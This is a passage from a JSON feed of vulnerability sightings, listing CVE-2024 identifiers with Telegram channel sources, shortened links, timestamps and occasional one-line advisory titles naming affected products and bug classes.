"https://ift.tt/gIUXmVa\nCVE-2024-22398", "creation_timestamp": "2024-03-14T05:27:00.000000Z"}, {"uuid": "77a87796-c393-493d-b87a-a85fda243aae", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22397", "type": "seen", "source": "https://t.me/ctinow/207462", "content": "https://ift.tt/4Go7x6C\nCVE-2024-22397", "creation_timestamp": "2024-03-14T05:21:46.000000Z"}, {"uuid": "b2435803-ea5a-4f4d-8e00-31213ef798cc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22396", "type": "seen", "source": "https://t.me/ctinow/207461", "content": "https://ift.tt/muVtIrC\nCVE-2024-22396", "creation_timestamp": "2024-03-14T05:21:45.000000Z"}, {"uuid": "98d656d1-3105-4f32-b809-e6aadaa068d8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22371", "type": "seen", "source": "https://t.me/ctinow/207393", "content": "https://ift.tt/bo0Tvdp\nCVE-2024-22371 | Apache Camel up to 3.21.3/3.22.0/4.0.3/4.3.0 EventFactory ExchangeCreatedEvent information disclosure (CAMEL-20305)", "creation_timestamp": "2024-03-14T03:21:37.000000Z"}, {"uuid": "41da2909-79bd-45e1-bc10-cf8d21a3156c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22257", "type": "seen", "source": "https://t.me/ctinow/210703", "content": "https://ift.tt/PScVHT0\nCVE-2024-22257", "creation_timestamp": "2024-03-18T16:26:47.000000Z"}, {"uuid": "30795939-bcc6-4bb4-9417-b2e27311e58d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22025", "type": "seen", "source": "https://t.me/ctinow/211184", "content": "https://ift.tt/7dr9ga4\nCVE-2024-22025", "creation_timestamp": "2024-03-19T06:26:55.000000Z"}, {"uuid": "3f8d544e-2d5c-417a-af2e-af8c0233f396", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22259", "type": "seen", "source": "https://t.me/ctinow/210791", "content": "https://ift.tt/iDWUEAt\nCVE-2024-22259 | VMware Spring Framework up to 5.3.32/6.0.17/6.1.4 UriComponentsBuilder server-side request forgery", "creation_timestamp": "2024-03-18T17:46:38.000000Z"}, {"uuid": "40fc517c-bd25-4890-bce5-7b5c203e32cc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-2229", "type": "seen", "source": "https://t.me/ctinow/210781", "content": "https://ift.tt/5YDilEx\nCVE-2024-2229", "creation_timestamp": "2024-03-18T17:32:15.000000Z"}, {"uuid": "499d4c4d-6a9f-4319-aadf-3df04f38f609", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22473", "type": "seen", "source": "https://t.me/ctinow/206539", "content": "https://ift.tt/AuzNsZa\nCVE-2024-22473 | Silabs GSDK up to 4.4.0 ECDSA Signing Drive uninitialized resource", "creation_timestamp": "2024-03-13T10:41:11.000000Z"}, {"uuid": "f166180e-9b7a-4840-85df-7285e70970cb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22017", "type": "seen", "source": "https://t.me/ctinow/211183", "content": "https://ift.tt/rSwEqKX\nCVE-2024-22017", "creation_timestamp": "2024-03-19T06:26:54.000000Z"}, {"uuid": "1ba42d48-6b4a-4597-b547-d63ff2d4c1bc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22041", "type": "seen", "source": "https://t.me/ctinow/205609", "content": "https://ift.tt/hXU1pOB\nCVE-2024-22041", "creation_timestamp": "2024-03-12T12:32:25.000000Z"}, {"uuid": "4ae5cf40-f811-43f9-b6f2-159327c0f4f6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22040", "type": "seen", "source": "https://t.me/ctinow/205608", "content": "https://ift.tt/9dKRTL6\nCVE-2024-22040", "creation_timestamp": "2024-03-12T12:32:24.000000Z"}, {"uuid": "b2b78f0d-22fe-41b4-81a9-305f4f4bc392", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22039", "type": "seen", "source": "https://t.me/ctinow/205607", "content": "https://ift.tt/0j61MJD\nCVE-2024-22039", "creation_timestamp": "2024-03-12T12:32:23.000000Z"}, {"uuid": "4c38ab64-d05c-4b9d-b842-f72b0d225c34", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22257", "type": "seen", "source": "https://t.me/ctinow/210849", "content": "https://ift.tt/b5sYzS4\nCVE-2024-22257", "creation_timestamp": "2024-03-18T19:06:23.000000Z"}, {"uuid": "73fb1c9d-55e9-4a55-b4dd-dfcf0a517274", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22044", "type": "seen", "source": "https://t.me/ctinow/205597", "content": "https://ift.tt/MQgWIzr\nCVE-2024-22044", "creation_timestamp": "2024-03-12T12:26:27.000000Z"}, {"uuid": "ba838f21-e688-494b-a277-263f84a2f601", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22040", "type": "seen", "source": "https://t.me/ctinow/205595", "content": "https://ift.tt/9dKRTL6\nCVE-2024-22040", "creation_timestamp": "2024-03-12T12:26:25.000000Z"}, {"uuid": "0fa3462d-2cfb-40a0-8774-e4bdc15018a9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22041", "type": "seen", "source": "https://t.me/ctinow/205596", "content": "https://ift.tt/hXU1pOB\nCVE-2024-22041", "creation_timestamp": "2024-03-12T12:26:26.000000Z"}, {"uuid": "5abb0815-657a-46d6-9116-310a7d02f0c0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22039", "type": "seen", "source": "https://t.me/ctinow/205594", "content": "https://ift.tt/0j61MJD\nCVE-2024-22039", "creation_timestamp": "2024-03-12T12:26:24.000000Z"}, {"uuid": "48fe8759-3ce7-483f-8ae2-492b990bb052", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22453", "type": "seen", "source": "https://t.me/ctinow/211281", "content": "https://ift.tt/faT1tUd\nCVE-2024-22453", "creation_timestamp": "2024-03-19T09:31:20.000000Z"}, {"uuid": "099919f9-e0da-4d25-9e9b-67a60a22246c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22453", "type": "seen", "source": "https://t.me/ctinow/211279", "content": "https://ift.tt/faT1tUd\nCVE-2024-22453", "creation_timestamp": "2024-03-19T09:26:48.000000Z"}, {"uuid": "203ecf3d-542b-453e-82ff-5487a8538f09", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22475", "type": "seen", "source": "https://t.me/ctinow/210570", "content": "https://ift.tt/3Q4PUrz\nCVE-2024-22475 | Brother/Fujifilm/Toshiba/Ricoh Printer/Scanner Web Based Management cross-site request forgery", "creation_timestamp": "2024-03-18T14:46:07.000000Z"}, {"uuid": "6a9cef85-1f83-486e-8526-c77f9ad19d41", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22412", "type": "seen", "source": "https://t.me/ctinow/211001", "content": "https://ift.tt/Q2acADr\nCVE-2024-22412", "creation_timestamp": "2024-03-18T22:26:44.000000Z"}, {"uuid": "c91a63ce-7fbb-47c8-b937-ea196fa857fa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22412", "type": "seen", "source": "https://t.me/ctinow/210998", "content": "https://ift.tt/Q2acADr\nCVE-2024-22412", "creation_timestamp": "2024-03-18T22:26:41.000000Z"}, {"uuid": "f425b20b-a5a1-4779-bcc7-d52d0b339465", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-2229", "type": "seen", "source": "https://t.me/ctinow/210767", "content": "https://ift.tt/5YDilEx\nCVE-2024-2229", "creation_timestamp": "2024-03-18T17:27:10.000000Z"}, {"uuid": "bee01731-fa33-4d21-8d36-985c012eeb2b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22257", "type": "seen", "source": "https://t.me/ctinow/210708", "content": "https://ift.tt/PScVHT0\nCVE-2024-22257", "creation_timestamp": "2024-03-18T16:26:55.000000Z"}, {"uuid": "251587e2-c30c-4b78-9efa-26b26571ea39", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-2269", "type": "seen", "source": "https://t.me/ctinow/202906", "content": "https://ift.tt/GKiH9bo\nCVE-2024-2269", "creation_timestamp": "2024-03-08T00:26:57.000000Z"}, {"uuid": "dfde0afe-fc2d-446c-b97a-14f214f91f79", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22475", "type": "seen", "source": "https://t.me/ctinow/210291", "content": "https://ift.tt/Tm4uKsn\nCVE-2024-22475", "creation_timestamp": "2024-03-18T09:21:48.000000Z"}, {"uuid": "43e3ed04-71f7-42ab-9495-146f6bb373bf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22475", "type": "seen", "source": "https://t.me/ctinow/210297", "content": "https://ift.tt/Tm4uKsn\nCVE-2024-22475", "creation_timestamp": "2024-03-18T09:26:09.000000Z"}, {"uuid": "7852a9e3-9230-4335-b835-69f954aa0acf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22513", "type": "seen", "source": "https://t.me/ctinow/209681", "content": "https://ift.tt/LIg7hxz\nCVE-2024-22513", "creation_timestamp": "2024-03-16T19:31:52.000000Z"}, {"uuid": "85206c82-2c2d-4a08-aa0c-aedf17e7dfe0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22019", "type": "seen", "source": "https://t.me/ctinow/203200", "content": "https://ift.tt/FPsWSc2\nCVE-2024-22019 | Node.js HTTP Request denial of service", "creation_timestamp": "2024-03-08T10:22:16.000000Z"}, {"uuid": "1ed4d355-2cec-4a16-aa02-e721e5a975e8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-2284", "type": "seen", "source": "https://t.me/ctinow/203033", "content": "https://ift.tt/aJkKRWU\nCVE-2024-2284", "creation_timestamp": "2024-03-08T04:26:17.000000Z"}, {"uuid": "ba41780e-5835-4f7e-aa12-44a7c0b1c8e2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22891", "type": "seen", "source": "https://t.me/ctinow/197354", "content": "https://ift.tt/n9JBYfI\nCVE-2024-22891", "creation_timestamp": "2024-03-01T07:32:00.000000Z"}, {"uuid": "46bd1a38-23e1-4146-9d05-1419e181991f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-2275", "type": "seen", "source": "https://t.me/ctinow/204036", "content": "https://ift.tt/LzveHC3\nCVE-2024-2275 | Bdtask G-Prescription Gynaecology & OBS Consultation Software OBS Patient/Gynee Prescription cross site scripting", "creation_timestamp": "2024-03-09T18:17:06.000000Z"}, {"uuid": "5a26b701-78cc-46a6-af4f-6d8d3cb72120", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22045", "type": "seen", "source": "https://t.me/ctinow/205611", "content": "https://ift.tt/3vho6Bf\nCVE-2024-22045", "creation_timestamp": "2024-03-12T12:32:27.000000Z"}, {"uuid": "abe86d49-6fe3-4390-b939-46739301438d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22044", "type": "seen", "source": "https://t.me/ctinow/205610", "content": "https://ift.tt/MQgWIzr\nCVE-2024-22044", "creation_timestamp": "2024-03-12T12:32:26.000000Z"}, {"uuid": "b16cad72-a4c4-4757-8bc9-ed63543b078a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22011", "type": "seen", "source": "https://t.me/ctinow/205031", "content": "https://ift.tt/rtG5hUn\nCVE-2024-22011", "creation_timestamp": "2024-03-11T20:26:50.000000Z"}, {"uuid": "8d4a1860-f3f3-4878-a180-65f9bbf0b2b9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22010", "type": "seen", "source": "https://t.me/ctinow/205030", "content": "https://ift.tt/npf8HGc\nCVE-2024-22010", "creation_timestamp": "2024-03-11T20:26:49.000000Z"}, {"uuid": "6d1b8055-a945-4224-bc7c-6a62bd58d51a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22009", "type": "seen", "source": "https://t.me/ctinow/205029", "content": "https://ift.tt/VhUeAYG\nCVE-2024-22009", "creation_timestamp": "2024-03-11T20:26:48.000000Z"}, {"uuid": "2fd06881-2a93-4bf2-9b79-0e86c37360ff", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22008", "type": "seen", "source": "https://t.me/ctinow/205028", "content": "https://ift.tt/SJGIzYk\nCVE-2024-22008", "creation_timestamp": "2024-03-11T20:26:47.000000Z"}, {"uuid": "03bd11e5-5643-49b7-87a1-c1feb6ac1b6d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22007", "type": "seen", "source": "https://t.me/ctinow/205027", "content": "https://ift.tt/s2goXMe\nCVE-2024-22007", "creation_timestamp": "2024-03-11T20:26:46.000000Z"}, {"uuid": "61e1a2ad-1700-4015-92ee-e01727df3316", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22006", "type": "seen", "source": "https://t.me/ctinow/205026", "content": "https://ift.tt/L4ZBtEW\nCVE-2024-22006", "creation_timestamp": "2024-03-11T20:26:45.000000Z"}, {"uuid": "3f4468f7-723e-41c1-a288-bbd37a087d70", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22005", "type": "seen", "source": "https://t.me/ctinow/205025", "content": "https://ift.tt/5lxEMSh\nCVE-2024-22005", "creation_timestamp": "2024-03-11T20:26:44.000000Z"}, {"uuid": "30c43a47-659d-4223-8579-67bbe96c7ae9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-2274", "type": "seen", "source": "https://t.me/ctinow/204035", "content": "https://ift.tt/Ir2CXRP\nCVE-2024-2274 | Bdtask G-Prescription Gynaecology & OBS Consultation Software Prescription Dashboard /Home/Index cross site scripting", "creation_timestamp": "2024-03-09T18:17:05.000000Z"}, {"uuid": "35b896e9-6435-4ef0-9d6d-90a75f3a59c6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22045", "type": "seen", "source": "https://t.me/ctinow/205598", "content": "https://ift.tt/3vho6Bf\nCVE-2024-22045", "creation_timestamp": "2024-03-12T12:26:28.000000Z"}, {"uuid": "f9a7dbc2-59bc-48ea-9cd8-8598a1c0c745", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-2268", "type": "seen", "source": "https://t.me/ctinow/202910", "content": "https://ift.tt/BN3Vpeq\nCVE-2024-2268", "creation_timestamp": "2024-03-08T00:27:04.000000Z"}, {"uuid": "ae682973-153c-4853-bda3-a6e3135e55ce", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-2270", "type": "seen", "source": "https://t.me/ctinow/202907", "content": "https://ift.tt/xe6UIwK\nCVE-2024-2270", "creation_timestamp": "2024-03-08T00:26:58.000000Z"}, {"uuid": "58f7ff37-6e8e-4476-8f35-822bca6526be", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22133", "type": "seen", "source": "https://t.me/ctinow/205249", "content": "https://ift.tt/RdZkmMe\nCVE-2024-22133", "creation_timestamp": "2024-03-12T02:26:40.000000Z"}, {"uuid": "c602072b-53fd-445a-8aae-c33de0863342", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22127", "type": "seen", "source": "https://t.me/ctinow/205248", "content": "https://ift.tt/utghpPs\nCVE-2024-22127", "creation_timestamp": "2024-03-12T02:26:39.000000Z"}, {"uuid": "c6e223c1-6a25-48fb-bf3d-1b9fafcb8d58", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22133", "type": "seen", "source": "https://t.me/ctinow/205242", "content": "https://ift.tt/RdZkmMe\nCVE-2024-22133", "creation_timestamp": "2024-03-12T02:26:33.000000Z"}, {"uuid": "79d4be6a-2e74-47be-87b2-c92688907ffd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22127", "type": "seen", "source": "https://t.me/ctinow/205241", "content": "https://ift.tt/utghpPs\nCVE-2024-22127", "creation_timestamp": "2024-03-12T02:26:32.000000Z"}, {"uuid": "ae7df656-f16b-48ad-8e15-9daebd27cdd2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-2268", "type": "seen", "source": "https://t.me/ctinow/202905", "content": "https://ift.tt/BN3Vpeq\nCVE-2024-2268", "creation_timestamp": "2024-03-08T00:26:56.000000Z"}, {"uuid": "086bf516-deb9-4f3b-bb55-d2ebb8b3ad78", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-2267", "type": "seen", "source": "https://t.me/ctinow/202882", "content": "https://ift.tt/D8tCQfN\nCVE-2024-2267", "creation_timestamp": "2024-03-07T23:26:55.000000Z"}, {"uuid": "69bafad1-55ef-4510-a347-fea7c715d15e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-2266", "type": "seen", "source": "https://t.me/ctinow/202881", "content": "https://ift.tt/RNaM91q\nCVE-2024-2266", "creation_timestamp": "2024-03-07T23:26:51.000000Z"}, {"uuid": "8b284726-4141-4f59-8cdf-144671cf0aa2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-2265", "type": "seen", "source": "https://t.me/ctinow/202880", "content": "https://ift.tt/1BZXDhP\nCVE-2024-2265", "creation_timestamp": "2024-03-07T23:26:50.000000Z"}, {"uuid": "4e288321-d58f-4ee2-9fa3-f0b0b589c729", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-2267", "type": "seen", "source": "https://t.me/ctinow/202879", "content": "https://ift.tt/D8tCQfN\nCVE-2024-2267", "creation_timestamp": "2024-03-07T23:26:50.000000Z"}, {"uuid": "be8f73d1-a989-43f8-8ff1-a7a7a558da17", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-2266", "type": "seen", "source": "https://t.me/ctinow/202878", "content": "https://ift.tt/RNaM91q\nCVE-2024-2266", "creation_timestamp": "2024-03-07T23:26:49.000000Z"}, {"uuid": "d62a9dbd-5bbc-487e-9fd7-fbff6504c91e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-2265", "type": "seen", "source": "https://t.me/ctinow/202877", "content": "https://ift.tt/1BZXDhP\nCVE-2024-2265", "creation_timestamp": "2024-03-07T23:26:48.000000Z"}, {"uuid": "ae614909-d926-4a9a-8322-b97490187811", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-2298", "type": "seen", "source": "https://t.me/ctinow/203131", "content": "https://ift.tt/J8Tglqk\nCVE-2024-2298", "creation_timestamp": "2024-03-08T08:21:55.000000Z"}, {"uuid": "4fb5412b-52ee-45ff-9c36-bc7ffd861e8d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-2272", "type": "seen", "source": "https://t.me/ctinow/202942", "content": "https://ift.tt/WvYyQlg\nCVE-2024-2272", "creation_timestamp": "2024-03-08T01:27:13.000000Z"}, {"uuid": "18e52e73-7bf8-490b-86d1-70fe1c149b82", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-2274", "type": "seen", "source": "https://t.me/ctinow/202960", "content": "https://ift.tt/e2z1Nn7\nCVE-2024-2274", "creation_timestamp": "2024-03-08T02:26:59.000000Z"}, {"uuid": "683e5796-f407-4039-9537-82fd3095315f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-2271", "type": "seen", "source": "https://t.me/ctinow/202941", "content": "https://ift.tt/i9QqFam\nCVE-2024-2271", "creation_timestamp": "2024-03-08T01:27:12.000000Z"}, {"uuid": "4a7b1244-3881-48ba-820b-6cb4b6251193", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-2276", "type": "seen", "source": "https://t.me/ctinow/202965", "content": "https://ift.tt/26VQjmt\nCVE-2024-2276", "creation_timestamp": "2024-03-08T02:27:04.000000Z"}, {"uuid": "5332e9c9-4533-4686-8422-e73db46f3c0a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-2275", "type": "seen", "source": "https://t.me/ctinow/202964", "content": "https://ift.tt/EnDVh2q\nCVE-2024-2275", "creation_timestamp": "2024-03-08T02:27:04.000000Z"}, {"uuid": "eb0b8164-ade9-46d5-b953-af24b3a3042a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-2274", "type": "seen", "source": "https://t.me/ctinow/202963", "content": "https://ift.tt/e2z1Nn7\nCVE-2024-2274", "creation_timestamp": "2024-03-08T02:27:03.000000Z"}, {"uuid": "438406fc-996e-4ae8-bf7f-9790e7aebe82", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-2276", "type": "seen", "source": "https://t.me/ctinow/202962", "content": "https://ift.tt/26VQjmt\nCVE-2024-2276", "creation_timestamp": "2024-03-08T02:27:01.000000Z"}, {"uuid": "15e630dd-2965-475a-9909-db5ad81fcff1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-2275", "type": "seen", "source": "https://t.me/ctinow/202961", "content": "https://ift.tt/EnDVh2q\nCVE-2024-2275", "creation_timestamp": "2024-03-08T02:27:00.000000Z"}, {"uuid": "8ff39656-c002-428e-9197-4d642c0c5277", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-2272", "type": "seen", "source": "https://t.me/ctinow/202937", "content": "https://ift.tt/WvYyQlg\nCVE-2024-2272", "creation_timestamp": "2024-03-08T01:22:01.000000Z"}, {"uuid": "9adf4e07-5f1c-40bf-a477-e476706e5e6f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-2271", "type": "seen", "source": "https://t.me/ctinow/202936", "content": "https://ift.tt/i9QqFam\nCVE-2024-2271", "creation_timestamp": "2024-03-08T01:22:00.000000Z"}, {"uuid": "899b2110-e85a-43fb-884e-a28815efc0ed", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22532", "type": "seen", "source": "https://t.me/ctinow/196026", "content": "https://ift.tt/RzF8YIG\nCVE-2024-22532", "creation_timestamp": "2024-02-29T00:26:55.000000Z"}, {"uuid": "0f147746-132a-4ad4-a778-e8ffb90b5d15", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-2285", "type": "seen", "source": "https://t.me/ctinow/203078", "content": "https://ift.tt/k763wMI\nCVE-2024-2285 | boyiddha Automated-Mess-Management-System 1.0 /member/member_edit.php name cross site scripting", "creation_timestamp": "2024-03-08T06:51:55.000000Z"}, {"uuid": "dc4d82d4-c7d6-4d5b-928f-137d3685998c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-2281", "type": "seen", "source": "https://t.me/ctinow/203074", "content": "https://ift.tt/6KMxrpT\nCVE-2024-2281 | boyiddha Automated-Mess-Management-System 1.0 Setting /admin/index.php access control", "creation_timestamp": "2024-03-08T06:51:51.000000Z"}, {"uuid": 